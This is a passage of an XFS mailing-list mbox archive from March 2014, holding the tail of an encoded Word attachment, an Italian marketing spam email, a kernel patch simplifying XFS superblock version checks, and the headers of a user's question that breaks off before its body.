AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANQAAAAAQAAAAAAAABQBEAG8AYwB1AG0AZQBu AHQAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAADgAAgH///// //////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9AAAAABAAAAAAAAAB AEMAbwBtAHAATwBiAGoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAEgACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAByAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/v////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////wEA/v8DCgAA/////wYJAgAA AAAAwAAAAAAAAEYgAAAAxO7q8+zl7fIgTWljcm9zb2Z0IFdvcmQgOTctMjAwMwAKAAAATVNXb3Jk RG9jABAAAABXb3JkLkRvY3VtZW50LjgA9DmycQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_1750_01CF38E2.8717C500-- From noreply@ita-engine.net Wed Mar 5 22:50:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 342FA7F50 for ; Wed, 5 Mar 2014 22:50:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id ABF0DAC007 for ; Wed, 5 Mar 2014 20:49:59 -0800 (PST) X-ASG-Debug-ID: 1394081395-04cbb054b6dbcc0001-NocioJ Received: from server3.ita-engine.net (server3.ita-engine.net [65.49.80.31]) by cuda.sgi.com with ESMTP id Fk4B9h93XJrWqfxP for ; Wed, 05 Mar 2014 20:49:56 -0800 (PST) X-Barracuda-Envelope-From: noreply@ita-engine.net X-Barracuda-Apparent-Source-IP: 65.49.80.31 Received: from 30seconds.ita-engine.net (server6.ita-engine.net [204.188.195.192]) by server3.ita-engine.net (Postfix) with ESMTP id 2DF205C9D4 for ; Wed, 5 Mar 2014 21:38:15 +0100 (CET) Date: Wed, 5 Mar 2014 20:25:03 +0100 To: xfs@oss.sgi.com From: "video@30seconds.it" Reply-To: "video@30seconds.it" Subject: =?UTF-8?Q?Un_video_ti_promuove_pi=C3=B9_di_ogni_altra_cosa?= Message-ID: <335fa1a5dcb9cacd7bb1b3247a802eb9@localhost.localdomain> X-ASG-Orig-Subj: =?UTF-8?Q?Un_video_ti_promuove_pi=C3=B9_di_ogni_altra_cosa?= X-Priority: 5 X-Mailer: Apple Mail (2.1283) X-MC-version: 4 X-MessageID: 18 X-ListMember: xfs@oss.sgi.com Precedence: bulk Bounces-To: noreply@ita-engine.net MIME-Version: 1.0 (Apple Message framework v1283) Content-Type: multipart/alternative; boundary="b1_335fa1a5dcb9cacd7bb1b3247a802eb9" X-Barracuda-Connect: server3.ita-engine.net[65.49.80.31] X-Barracuda-Start-Time: 1394081396 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074b, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3643 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 BSF_SC0_SA074b Custom Rule SA074b --b1_335fa1a5dcb9cacd7bb1b3247a802eb9 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Thirty Seconds Se ha difficolt=C3=A0 a visualizzare questa e-mail clicchi qui . Informativa ai sensi del Decr.Lgs Privacy n.196/2003:=20 I dati in nostro possesso vengono impiegati con principali scopi amministrativi, fiscali e di comunicazione aziendale comunque nei termini previsti dalla normativa vigente. In ogni momento l'interessato potr=C3=A0 avvalersi dei diritti e nelle modalit=C3=A0 previs= te della Legge. Il titolare del trattamento =C3=A8 THIRTY SECONDS. Indirizzo e-mail: webmktg@30seconds.it Questo messaggio di posta elettronica contiene informazioni di carattere confidenziale rivolte esclusivamente al destinatario sopra indicato. E' vietato l'uso, la diffusione, distribuzione o riproduzione da parte di ogni altra persona.=20 Nel caso aveste ricevuto questo messaggio di posta elettronica per errore, siete pregati di segnalarlo immediatamente al mittente e distruggere quanto ricevuto (compresi i file allegati) senza farne copia. Qualsivoglia utilizzo non autorizzato del contenuto di questo messaggio costituisce violazione dell'obbligo di non prendere cognizione della corrispondenza tra altri soggetti, salvo pi=C3=B9 grave illecito, ed espone il responsabile alle relative conseguenze. Confidential Notice: This e-mail transmission may contain legally privileged and/or confidential information. Please do not read it if you are not the intended recipient(S). Any use, distribution, reproduction or disclosure by any other person is strictly prohibited. If you have received this e-mail in error, please notify the sender and destroy the original transmission and its attachments without reading or saving it in any manner. La Tua Professional Image: Siti Web ottimizzati e Professionali a Lugano e Produzione e Montaggi Video a Lugano Questo messaggio =C3=A8 stato inviato a xfs@oss.sgi.com da video@30seconds= .it Se volete rimuovervi=0A selezionate qui. [USERTRACK]=20 --b1_335fa1a5dcb9cacd7bb1b3247a802eb9 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable =0A=0A=0A=0AThirty Seconds=0A= =0A=0A
=0A =0A =0A
=0A=0A
=0A =0A =0A

Se ha difficoltà a vi= sualizzare questa e-mail clicchi qui.

=0A
=0A<= td>=0A=0A=0A=0A
=0A
=0A=
=0A

=0A<= img src=3D"http://www.30seconds.it/30secpromo/tigre/tigre_r4_c1.jpg" border= =3D"0" align=3D"middle"/>=
=0A
=0A
=0A
=0A=0A =0A =0A=0A=0A
=0A=0A=0AInf= ormativa ai sensi del Decr.Lgs Privacy n.196/2003: =0A=0AI dati in nostro p= ossesso vengono impiegati con principali scopi amministrativi, fiscali e di= comunicazione aziendale comunque nei termini previsti dalla normativa vige= nte. In ogni momento l'interessato potr=C3=A0 avvalersi dei diritti e nelle= modalit=C3=A0 previste della Legge. Il titolare del trattamento =C3=A8 THI= RTY SECONDS. Indirizzo e-mail: webmktg@30seconds.it Questo messaggio di pos= ta elettronica contiene informazioni di carattere confidenziale rivolte esc= lusivamente al destinatario sopra indicato. E' vietato l'uso, la diffusione= , distribuzione o riproduzione da parte di ogni altra persona. =0A=0ANel ca= so aveste ricevuto questo messaggio di posta elettronica per errore, siete = pregati di segnalarlo immediatamente al mittente e distruggere quanto ricev= uto (compresi i file allegati) senza farne copia. Qualsivoglia utilizzo non= autorizzato del contenuto di questo messaggio costituisce violazione dell'= obbligo di non prendere cognizione della corrispondenza tra altri soggetti,= salvo pi=C3=B9 grave illecito, ed espone il responsabile alle relative con= seguenze.=0A=0AConfidential Notice:=0AThis e-mail transmission may contain = legally privileged and/or confidential information. Please do not read it i= f you are not the intended recipient(S). Any use, distribution, reproductio= n or disclosure by any other person is strictly prohibited. If you have rec= eived this e-mail in error, please notify the sender and destroy the origin= al transmission and its attachments without reading or saving it in any man= ner.=0A=0A
=0A


La Tua Professional Image: = Siti Web ot= timizzati e Professionali a Lugano e Produzione e Montaggi Video a Lugano &n= bsp;

Questo messaggio =C3=A8 stato inviato a xfs@oss.sgi.com da video@3= 0seconds.it

Se volete rimuovervi selezionate q= ui.

=0A
powered by M@ilCentral=
=0A --b1_335fa1a5dcb9cacd7bb1b3247a802eb9-- From dave@fromorbit.com Thu Mar 6 00:55:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6877D7F50 for ; Thu, 6 Mar 2014 00:55:05 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 46804304053 for ; Wed, 5 Mar 2014 22:55:02 -0800 (PST) X-ASG-Debug-ID: 1394088895-04cbb054b6e0f60001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Siosksnpd2oHKuZF for ; Wed, 05 Mar 2014 22:54:56 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhZRAOYaGFN5LJYePGdsb2JhbABagwaIUrp1FwMBAQEBHxkNKIIlAS0vOxhqAwcth3ifBbAfkxAEriko Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 06 Mar 2014 17:24:54 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WLSCg-0004za-Vd for xfs@oss.sgi.com; Thu, 06 Mar 2014 17:54:51 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WLSCg-0002oX-US for xfs@oss.sgi.com; Thu, 06 Mar 2014 17:54:50 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC, PATCH] xfs: make superblock version checks reflect reality Date: Thu, 6 Mar 2014 17:54:50 +1100 X-ASG-Orig-Subj: [RFC, PATCH] xfs: make superblock version checks reflect reality Message-Id: <1394088890-10713-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1394088895 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3645 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner We only support filesystems that have v2 directory support, and than means all the checking and handling of superblock versions prior to this support being added is completely unnecessary overhead. Strip out all the version 1-3 support, sanitise the good version checking to reflect the supported versions, update all the feature supported functions and clean up all the support bit definitions to reflect the fact that we no longer care about Irix bootloader flag regions for v4 feature bits. Because the feature bit checking is all inline code, this relatively small cleanup has a noticable impact on code size: text data bss dec hex filename 802836 99339 632 902807 dc697 fs/xfs/xfs.o.orig 801620 99339 632 901591 dc1d7 fs/xfs/xfs.o.patched i.e. it reduces it by more than 1200 bytes. Signed-off-by: Dave Chinner --- fs/xfs/xfs_sb.h | 175 ++++++++++++++++++++++---------------------------------- 1 file changed, 67 insertions(+), 108 deletions(-) diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index f7b2fe7..1fe9818 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -36,8 +36,6 @@ struct xfs_trans; #define XFS_SB_VERSION_5 5 /* CRC enabled filesystem */ #define XFS_SB_VERSION_NUMBITS 0x000f #define XFS_SB_VERSION_ALLFBITS 0xfff0 -#define XFS_SB_VERSION_SASHFBITS 0xf000 -#define XFS_SB_VERSION_REALFBITS 0x0ff0 #define XFS_SB_VERSION_ATTRBIT 0x0010 #define XFS_SB_VERSION_NLINKBIT 0x0020 #define XFS_SB_VERSION_QUOTABIT 0x0040 @@ -50,24 +48,26 @@ struct xfs_trans; #define XFS_SB_VERSION_DIRV2BIT 0x2000 #define XFS_SB_VERSION_BORGBIT 0x4000 /* ASCII only case-insens. */ #define XFS_SB_VERSION_MOREBITSBIT 0x8000 -#define XFS_SB_VERSION_OKSASHFBITS \ - (XFS_SB_VERSION_EXTFLGBIT | \ - XFS_SB_VERSION_DIRV2BIT | \ - XFS_SB_VERSION_BORGBIT) -#define XFS_SB_VERSION_OKREALFBITS \ - (XFS_SB_VERSION_ATTRBIT | \ - XFS_SB_VERSION_NLINKBIT | \ - XFS_SB_VERSION_QUOTABIT | \ - XFS_SB_VERSION_ALIGNBIT | \ - XFS_SB_VERSION_DALIGNBIT | \ - XFS_SB_VERSION_SHAREDBIT | \ - XFS_SB_VERSION_LOGV2BIT | \ - XFS_SB_VERSION_SECTORBIT | \ + +/* + * We only support superblocks that have at least V2 Dir capability. Any feature + * bit added after v2 dir capability is also indicates a supported superblock + * format. + */ +#define XFS_SB_NEEDED_FEATURES \ + (XFS_SB_VERSION_DIRV2BIT | \ + XFS_SB_VERSION_LOGV2BIT | \ + XFS_SB_VERSION_SECTORBIT | \ + XFS_SB_VERSION_BORGBIT | \ XFS_SB_VERSION_MOREBITSBIT) -#define XFS_SB_VERSION_OKREALBITS \ - (XFS_SB_VERSION_NUMBITS | \ - XFS_SB_VERSION_OKREALFBITS | \ - XFS_SB_VERSION_OKSASHFBITS) + +/* + * Supported feature bit list is just all bits in the versionnum field because + * we've used them all up and understand them all. + */ +#define XFS_SB_VERSION_OKBITS \ + (XFS_SB_VERSION_NUMBITS | \ + XFS_SB_VERSION_ALLFBITS) /* * There are two words to hold XFS "feature" bits: the original @@ -76,7 +76,6 @@ struct xfs_trans; * * These defines represent bits in sb_features2. */ -#define XFS_SB_VERSION2_REALFBITS 0x00ffffff /* Mask: features */ #define XFS_SB_VERSION2_RESERVED1BIT 0x00000001 #define XFS_SB_VERSION2_LAZYSBCOUNTBIT 0x00000002 /* Superblk counters */ #define XFS_SB_VERSION2_RESERVED4BIT 0x00000004 @@ -86,16 +85,11 @@ struct xfs_trans; #define XFS_SB_VERSION2_CRCBIT 0x00000100 /* metadata CRCs */ #define XFS_SB_VERSION2_FTYPE 0x00000200 /* inode type in dir */ -#define XFS_SB_VERSION2_OKREALFBITS \ +#define XFS_SB_VERSION2_OKBITS \ (XFS_SB_VERSION2_LAZYSBCOUNTBIT | \ XFS_SB_VERSION2_ATTR2BIT | \ XFS_SB_VERSION2_PROJID32BIT | \ XFS_SB_VERSION2_FTYPE) -#define XFS_SB_VERSION2_OKSASHFBITS \ - (0) -#define XFS_SB_VERSION2_OKREALBITS \ - (XFS_SB_VERSION2_OKREALFBITS | \ - XFS_SB_VERSION2_OKSASHFBITS ) /* * Superblock - in core version. Must match the ondisk version below. @@ -345,28 +339,40 @@ typedef enum { #define XFS_SB_VERSION_NUM(sbp) ((sbp)->sb_versionnum & XFS_SB_VERSION_NUMBITS) +/* + * The first XFS version we support is filesytsems with V2 directories. + */ static inline int xfs_sb_good_version(xfs_sb_t *sbp) { - /* We always support version 1-3 */ - if (sbp->sb_versionnum >= XFS_SB_VERSION_1 && - sbp->sb_versionnum <= XFS_SB_VERSION_3) + /* We only support v4 and v5 */ + if (XFS_SB_VERSION_NUM(sbp) < XFS_SB_VERSION_4 || + XFS_SB_VERSION_NUM(sbp) > XFS_SB_VERSION_5) + return 0; + + /* + * Version 5 feature checks are done separately. + */ + if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) return 1; - /* We support version 4 if all feature bits are supported */ - if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_4) { - if ((sbp->sb_versionnum & ~XFS_SB_VERSION_OKREALBITS) || - ((sbp->sb_versionnum & XFS_SB_VERSION_MOREBITSBIT) && - (sbp->sb_features2 & ~XFS_SB_VERSION2_OKREALBITS))) - return 0; + /* + * We only support version 4 for if at least one of the needed feature + * bits are set and all the feature bits are supported. + */ + ASSERT(XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_4); + + if (!(sbp->sb_versionnum & XFS_SB_NEEDED_FEATURES)) + return 0; - if (sbp->sb_shared_vn > XFS_SB_MAX_SHARED_VN) + if ((sbp->sb_versionnum & ~XFS_SB_VERSION_OKBITS) || + ((sbp->sb_versionnum & XFS_SB_VERSION_MOREBITSBIT) && + (sbp->sb_features2 & ~XFS_SB_VERSION2_OKBITS))) return 0; - return 1; - } - if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) - return 1; - return 0; + if (sbp->sb_shared_vn > XFS_SB_MAX_SHARED_VN) + return 0; + + return 1; } /* @@ -378,88 +384,45 @@ static inline int xfs_sb_has_mismatched_features2(xfs_sb_t *sbp) return (sbp->sb_bad_features2 != sbp->sb_features2); } -static inline unsigned xfs_sb_version_tonew(unsigned v) -{ - if (v == XFS_SB_VERSION_1) - return XFS_SB_VERSION_4; - - if (v == XFS_SB_VERSION_2) - return XFS_SB_VERSION_4 | XFS_SB_VERSION_ATTRBIT; - - return XFS_SB_VERSION_4 | XFS_SB_VERSION_ATTRBIT | - XFS_SB_VERSION_NLINKBIT; -} - -static inline unsigned xfs_sb_version_toold(unsigned v) -{ - if (v & (XFS_SB_VERSION_QUOTABIT | XFS_SB_VERSION_ALIGNBIT)) - return 0; - if (v & XFS_SB_VERSION_NLINKBIT) - return XFS_SB_VERSION_3; - if (v & XFS_SB_VERSION_ATTRBIT) - return XFS_SB_VERSION_2; - return XFS_SB_VERSION_1; -} - static inline int xfs_sb_version_hasattr(xfs_sb_t *sbp) { - return sbp->sb_versionnum == XFS_SB_VERSION_2 || - sbp->sb_versionnum == XFS_SB_VERSION_3 || - (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && - (sbp->sb_versionnum & XFS_SB_VERSION_ATTRBIT)); + return !!(sbp->sb_versionnum & XFS_SB_VERSION_ATTRBIT); } static inline void xfs_sb_version_addattr(xfs_sb_t *sbp) { - if (sbp->sb_versionnum == XFS_SB_VERSION_1) - sbp->sb_versionnum = XFS_SB_VERSION_2; - else if (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4) - sbp->sb_versionnum |= XFS_SB_VERSION_ATTRBIT; - else - sbp->sb_versionnum = XFS_SB_VERSION_4 | XFS_SB_VERSION_ATTRBIT; + sbp->sb_versionnum |= XFS_SB_VERSION_ATTRBIT; } static inline int xfs_sb_version_hasnlink(xfs_sb_t *sbp) { - return sbp->sb_versionnum == XFS_SB_VERSION_3 || - (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && - (sbp->sb_versionnum & XFS_SB_VERSION_NLINKBIT)); + return !!(sbp->sb_versionnum & XFS_SB_VERSION_NLINKBIT); } static inline void xfs_sb_version_addnlink(xfs_sb_t *sbp) { - if (sbp->sb_versionnum <= XFS_SB_VERSION_2) - sbp->sb_versionnum = XFS_SB_VERSION_3; - else - sbp->sb_versionnum |= XFS_SB_VERSION_NLINKBIT; + sbp->sb_versionnum |= XFS_SB_VERSION_NLINKBIT; } static inline int xfs_sb_version_hasquota(xfs_sb_t *sbp) { - return XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && - (sbp->sb_versionnum & XFS_SB_VERSION_QUOTABIT); + return !!(sbp->sb_versionnum & XFS_SB_VERSION_QUOTABIT); } static inline void xfs_sb_version_addquota(xfs_sb_t *sbp) { - if (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4) - sbp->sb_versionnum |= XFS_SB_VERSION_QUOTABIT; - else - sbp->sb_versionnum = xfs_sb_version_tonew(sbp->sb_versionnum) | - XFS_SB_VERSION_QUOTABIT; + sbp->sb_versionnum |= XFS_SB_VERSION_QUOTABIT; } static inline int xfs_sb_version_hasalign(xfs_sb_t *sbp) { - return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) || - (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 || (sbp->sb_versionnum & XFS_SB_VERSION_ALIGNBIT)); } static inline int xfs_sb_version_hasdalign(xfs_sb_t *sbp) { - return XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && - (sbp->sb_versionnum & XFS_SB_VERSION_DALIGNBIT); + return !!(sbp->sb_versionnum & XFS_SB_VERSION_DALIGNBIT); } static inline int xfs_sb_version_hasshared(xfs_sb_t *sbp) @@ -470,42 +433,36 @@ static inline int xfs_sb_version_hasshared(xfs_sb_t *sbp) static inline int xfs_sb_version_hasdirv2(xfs_sb_t *sbp) { - return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) || - (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_4 && - (sbp->sb_versionnum & XFS_SB_VERSION_DIRV2BIT)); + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 || + (sbp->sb_versionnum & XFS_SB_VERSION_DIRV2BIT); } static inline int xfs_sb_version_haslogv2(xfs_sb_t *sbp) { - return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) || - (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && - (sbp->sb_versionnum & XFS_SB_VERSION_LOGV2BIT)); + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 || + (sbp->sb_versionnum & XFS_SB_VERSION_LOGV2BIT); } static inline int xfs_sb_version_hasextflgbit(xfs_sb_t *sbp) { - return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) || - (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_4 && - (sbp->sb_versionnum & XFS_SB_VERSION_EXTFLGBIT)); + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 || + (sbp->sb_versionnum & XFS_SB_VERSION_EXTFLGBIT); } static inline int xfs_sb_version_hassector(xfs_sb_t *sbp) { - return XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && - (sbp->sb_versionnum & XFS_SB_VERSION_SECTORBIT); + return !!(sbp->sb_versionnum & XFS_SB_VERSION_SECTORBIT); } static inline int xfs_sb_version_hasasciici(xfs_sb_t *sbp) { - return XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && - (sbp->sb_versionnum & XFS_SB_VERSION_BORGBIT); + return !!(sbp->sb_versionnum & XFS_SB_VERSION_BORGBIT); } static inline int xfs_sb_version_hasmorebits(xfs_sb_t *sbp) { - return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) || - (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_4 && - (sbp->sb_versionnum & XFS_SB_VERSION_MOREBITSBIT)); + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 || + (sbp->sb_versionnum & XFS_SB_VERSION_MOREBITSBIT); } /* @@ -536,11 +493,13 @@ static inline void xfs_sb_version_addattr2(xfs_sb_t *sbp) { sbp->sb_versionnum |= XFS_SB_VERSION_MOREBITSBIT; sbp->sb_features2 |= XFS_SB_VERSION2_ATTR2BIT; + sbp->sb_bad_features2 |= XFS_SB_VERSION2_ATTR2BIT; } static inline void xfs_sb_version_removeattr2(xfs_sb_t *sbp) { sbp->sb_features2 &= ~XFS_SB_VERSION2_ATTR2BIT; + sbp->sb_bad_features2 &= ~XFS_SB_VERSION2_ATTR2BIT; if (!sbp->sb_features2) sbp->sb_versionnum &= ~XFS_SB_VERSION_MOREBITSBIT; } -- 1.9.0 From dev.yongmin@gmail.com Thu Mar 6 03:15:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 309B57F50 for ; Thu, 6 Mar 2014 03:15:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 01254304075 for ; Thu, 6 Mar 2014 01:15:32 -0800 (PST) X-ASG-Debug-ID: 1394097331-04bdf05daa2fd7c0001-NocioJ Received: from mail-pd0-f171.google.com (mail-pd0-f171.google.com [209.85.192.171]) by cuda.sgi.com with ESMTP id BTyTXWpuA3Tpx5iC (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 06 Mar 2014 01:15:31 -0800 (PST) X-Barracuda-Envelope-From: dev.yongmin@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.171 Received: by mail-pd0-f171.google.com with SMTP id r10so2295027pdi.2 for ; Thu, 06 Mar 2014 01:15:31 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:message-id:subject:mime-version:content-type; bh=Tzaygf+ZLSfwipbkcy4d9ZFCla0URtL91OZQ6X3ID/I=; b=v+V0UzwzlmKf9mRzCPhT4XY5tozoODBPZoqqU8hy/bZsj4vbmfy6H/LEojt42Zr4qg BQ3henHuFdFcyh/fZhqOeCQHOnendQABuiv/nHaj53Umwzsnjzy8mhw6eloNq6J7SLmn a1/gk9PN1El61pyDxzrUrCZxxCM0v3dWrYvSlLmxYJHB11APqmSvK+SZl04FFCdhwr1q 2brhqfkBgM/+7NC2lA8+hf8alhjGZswVXAOCmO36rlttKBE5mY7KTRCCK2hHR/aIr/j0 HpjTJrQoRXgCPnBuvKU+7RUSXZDaPO3Hk2zW/pnANkhMylp+XoezyS9t70wr4kk8Mrop RIgw== X-Barracuda-BBL-IP: nil X-Received: by 10.66.156.4 with SMTP id wa4mr13065116pab.49.1394097331051; Thu, 06 Mar 2014 01:15:31 -0800 (PST) Received: from [172.30.83.188] ([59.18.200.126]) by mx.google.com with ESMTPSA id vx10sm33153345pac.17.2014.03.06.01.15.29 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Thu, 06 Mar 2014 01:15:30 -0800 (PST) Date: Thu, 6 Mar 2014 18:15:27 +0900 From: Yongmin To: xfs@oss.sgi.com Message-ID: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> Subject: Hello, I have a question about XFS File System X-Mailer: sparrow 1.6.4 (build 1178) X-ASG-Orig-Subj: Hello, I have a question about XFS File System MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="53183caf_614fd4a1_12f" X-Barracuda-Connect: mail-pd0-f171.google.com[209.85.192.171] X-Barracuda-Start-Time: 1394097331 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3647 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --53183caf_614fd4a1_12f Content-Type: text/plain; charset="utf-8" 